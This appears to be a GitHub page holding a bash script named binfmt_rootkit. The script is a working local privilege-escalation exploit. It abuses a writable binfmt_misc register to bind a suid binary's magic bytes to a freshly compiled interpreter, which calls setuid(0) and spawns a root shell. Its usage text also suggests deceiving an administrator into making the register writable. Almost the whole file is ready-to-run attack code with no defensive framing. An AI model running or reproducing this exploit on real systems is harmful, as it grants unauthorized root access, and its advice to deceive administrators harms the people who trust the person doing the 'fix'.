-
Notifications
You must be signed in to change notification settings - Fork 7
/
binfmt_rootkit
executable file
·103 lines (82 loc) · 2 KB
/
binfmt_rootkit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/bin/bash
readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"
warn()
{
1>&2 echo $@
}
die()
{
warn $@
exit -1
}
usage()
{
cat 1>&2 <<EOF
Usage: $exe
Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
note that it must be enforced by any other mean before your try this, for
example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
thinking that you are fixing his problem.
EOF
exit 1
}
function not_writeable()
{
test ! -w "$mountpoint/register"
}
function pick_suid()
{
find "$1" -perm -4000 -executable \
| tail -n 1
}
function read_magic()
{
[[ -e "$1" ]] && \
[[ "$2" =~ [[:digit:]]+ ]] && \
dd if="$1" bs=1 count="$2" status=none \
| sed -e 's-\x00-\\x00-g'
}
[[ -n "$1" ]] && usage
not_writeable && die "Error: $mountpoint/register is not writeable"
target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"
binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"
fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"
gcc -o "$fmtinterpr" -xc - <<- __EOF__
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <pwd.h>
int main(int argc, char *argv[])
{
// remove our temporary file
unlink("$fmtinterpr");
// remove the unused binary format
FILE* fmt = fopen("$mountpoint/$fmtname", "w");
fprintf(fmt, "-1\\n");
fclose(fmt);
// MOTD
setuid(0);
uid_t uid = getuid();
uid_t euid = geteuid();
struct passwd *pw = getpwuid(uid);
struct passwd *epw = getpwuid(euid);
fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
uid,
pw->pw_name,
euid,
epw->pw_name);
// welcome home
char* sh[] = {"/bin/sh", (char*) 0};
execvp(sh[0], sh);
return 1;
}
__EOF__
chmod a+x "$fmtinterpr"
binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" > "$mountpoint"/register
exec "$target"